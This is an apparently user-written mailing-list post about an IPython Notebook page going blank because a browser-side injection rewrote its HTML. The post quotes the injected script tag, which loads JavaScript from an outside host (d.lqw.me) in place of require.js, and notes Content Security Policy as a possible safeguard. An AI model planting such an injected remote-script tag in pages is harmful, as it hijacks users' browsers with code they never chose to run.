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<p class="MsoNormal">For the second time. When It got it several weeks ago, I thought that I had eliminated it after half a day of struggles.<o:p></o:p></p>
<p class="MsoNormal">The immediate symptom is that the IPython notebook, as served from my Linux compute server, is suddenly is a blank screen. The reason is that the HTML is modified by the browser: this is the first few lines:<br>
<br>
<o:p></o:p></p>
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<p class="MsoNormal"><span class="webkit-html-tag"><head><script </span><span class="webkit-html-attribute-name">type</span><span class="webkit-html-tag">="</span><span class="webkit-html-attribute-value">text/javascript</span><span class="webkit-html-tag">"
</span><span class="webkit-html-attribute-name">id</span><span class="webkit-html-tag">="</span><span class="webkit-html-attribute-value">2f2a695a6afce2c2d833c706cd677a8e</span><span class="webkit-html-tag">"
</span><span class="webkit-html-attribute-name">src</span><span class="webkit-html-tag">="<a href="http://d.lqw.me/xuiow/?o=2&g=87020BB1-5E15-E06B-C4B6-FDE07558008A&s=F5D333A8-C748-4686-AE0A-9E008F670C22&z=1387546177" target="_blank">http://d.lqw.me/xuiow/?o=2&g=87020BB1-5E15-E06B-C4B6-FDE07558008A&s=F5D333A8-C748-4686-AE0A-9E008F670C22&z=1387546177</a>"></script></span><span style="font-size:12.0pt"><o:p></o:p></span></p>
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<p class="MsoNormal"><span class="webkit-html-tag"><title></span>IPython Notebook<span class="webkit-html-tag"></title></span><span style="font-size:12.0pt"><o:p></o:p></span></p>
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<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">The script src property is modified in a way that is very hard to fix. (This is Chrome, but IE has the same issue.) It should be<o:p></o:p></p>
<p class="MsoNormal"><script src="/static/components/requirejs/require.js" type="text/javascript" charset="utf-8"></script><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">I’ll try to get rid of it again, but might have to make a clean install, ugh.
<o:p></o:p></p>
<p class="MsoNormal">When looking into how this can happen, and what safeguards there might me, I came across the idea of a “content security policy” that a web site could implement, and would, I think, at least give a warning about this:<o:p></o:p></p>
<p class="MsoNormal"><a href="https://developer.chrome.com/extensions/contentSecurityPolicy.html">https://developer.chrome.com/extensions/contentSecurityPolicy.html</a><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Any thoughts/suggestions welcomed.<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">--Toby Burnett<o:p></o:p></p>
<p class="MsoNormal">(And Happy New Year to the team!)<o:p></o:p></p>
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